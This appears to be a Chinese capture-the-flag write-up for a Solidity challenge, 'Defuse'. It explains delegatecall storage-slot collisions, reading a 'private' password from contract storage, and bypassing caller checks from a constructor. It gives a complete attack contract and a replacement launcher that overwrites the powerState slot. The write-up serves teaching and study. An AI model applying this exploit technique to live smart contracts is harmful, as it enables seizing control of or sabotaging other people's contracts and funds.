源码:
pragma solidity ^0.5.10;
contract Defuse{
bool public Explode = false; //1
address public launcherAddress; //20
bytes32 private password;
bool public powerState = true;
bytes4 constant launcher_start_function_hash = bytes4(keccak256("changedeadline(uint256)"));
Launcher launcher;
function checkPassword() public returns (bytes32 result) {
bytes memory msgdata = msg.data;
if (msgdata.length == 0) {
return 0x0;
}
assembly {
result := mload(add(msgdata, add(0x20, 0x24)))
}
}
modifier onlyOwner(){
require(checkPassword() == password);
require(msg.sender != tx.origin);
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier notExplode(){
launcher = Launcher(launcherAddress);
require(block.number < launcher.deadline());
Explode = true;
_;
}
constructor(address _launcherAddress, bytes32 _fakeflag) public {
launcherAddress = _launcherAddress;
password = _fakeflag ;
}
function setCountDownTimer(uint256 _deadline) public onlyOwner notExplode {
launcherAddress.delegatecall(abi.encodeWithSignature("changedeadline(uint256)",_deadline));
}
}
contract Setup {
Defuse public defuse;
constructor(bytes32 _password) public {
defuse = new Defuse(address(new Launcher()), _password);
}
function isSolved() public view returns (bool) {
return defuse.powerState() == false;
}
}
contract Launcher{
uint256 public deadline;
function changedeadline(uint256 _deadline) public {
deadline = _deadline;
}
constructor() public {
deadline = block.number + 100;
}
}
contract attack{
Defuse defuse;
constructor()public{
defuse=Defuse(0x7D33e9FB75Df354C95E047bDed6D11595f32bE62);
defuse.call(abi.encodeWithSignature("setCountDownTimer(uint256)",
0x00000000000000000000009e7208a8ca28f276514be5c3bd74ffcf223a72e200,
0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
defuse.call(abi.encodeWithSignature("setCountDownTimer(uint256)",
0x00000000000000000000009e7208a8ca28f276514be5c3bd74ffcf223a72e200,
0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
}
}
contract NewLauncher{
bool public Explode = false;
address public launcherAddress;
bytes32 private password;
uint256 public deadline
function changedeadline(uint256 _deadline) public {
deadline = 0x0000000000000000000000000000000000000000000000000000000000000000;
}
}
这个代码里的知识点非常多,delegatecall、assembly、数据存储
1.notExplode里把launcher地址修改了,setCountDownTimer要delegatecall launcher里的方法。
2.delegatecall
不论变量类型,以及实际分配公式如何,变量都会根据定义顺序,得到一个slot位置。智能合约编译后代码读取变量时并不记录变量名称,而是记录slot位置,读取变量值在编译后代码里只是读取这个变量对应的slot值。至于当前slot值是否是这个变量,代码本身并不清楚。
Delegatecall的问题,也就在于此。调用Delegatecall并不切换上下文,直接运行新的合约代码。比如新合约中需要读取slot1的变量值,此时读取的事老合约slot1的变量值,如果新合约slot1位置是一个普通uint32变量,老合约slot1位置是一个合约地址,同样的操作变量含义不同,结果将变得不可预测。这种情况特别在库合约的调用中特别容易出现。
简而言之:delegatecall修改的是相同数据内存位置的数据而不是相同名字的数据。
攻击思路:
通过调用setCountDownTimer 去调用自己编写的launcher的changedeadline。调两次,第一次会把launcher的地址改了,第二次会调用我们launcher的changedeadline,只要我们deadline存储位置和powerState相同就行。
看onlyOwner
1.需要我们在另一个合约的构造函数里调用才能满足条件
2.需要输对密码
assembly { result := mload(add(msgdata, add(0x20, 0x24))) }
add就是加,mload是读取,mload(add(msgdata,20))这个意思是从msgdata的二十位开始读取取值。因此,需要我们第68位后开始是地址。
bool public Explode = false; //在slot[0]
address public launcherAddress; //在slot[0]
bytes32 private password; //在slot[1]
bool public powerState = true; //在slot[2]
去控制台查询slot[0]的数据
结果:0x00000000000000000000009e7208a8ca28f276514be5c3bd74ffcf223a72e200
9e7208a8ca28f276514be5c3bd74ffcf223a72e2这一串就是launcher的地址,我们把他换成自己的newlauncher地址。
查询slot[1]的数据
结果:0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a
这一串就是密码
攻击合约
contract attack{
constructor()public{
Defuse defuse=Defuse(0xD95667A9D50feAca2b8C7227D0B883727ce76875);
address(defuse).call(abi.encodeWithSignature("setCountDownTimer(uint256)",
0x00000000000000000000000499F9D0578D22079Ff147Bce75D071E2BE8a8Cf00,
0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
address(defuse).call(abi.encodeWithSignature("setCountDownTimer(uint256)",
0x00000000000000000000000499F9D0578D22079Ff147Bce75D071E2BE8a8Cf00,
0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
}
}
contract NewLauncher{
bool public Explode = false;
address public launcherAddress;
bytes32 private password;
uint256 public deadline=block.number+1000;
function changedeadline(uint256 _deadline) public {
deadline =0x0000000000000000000000000000000000000000000000000000000000000000;
}
}
成功!!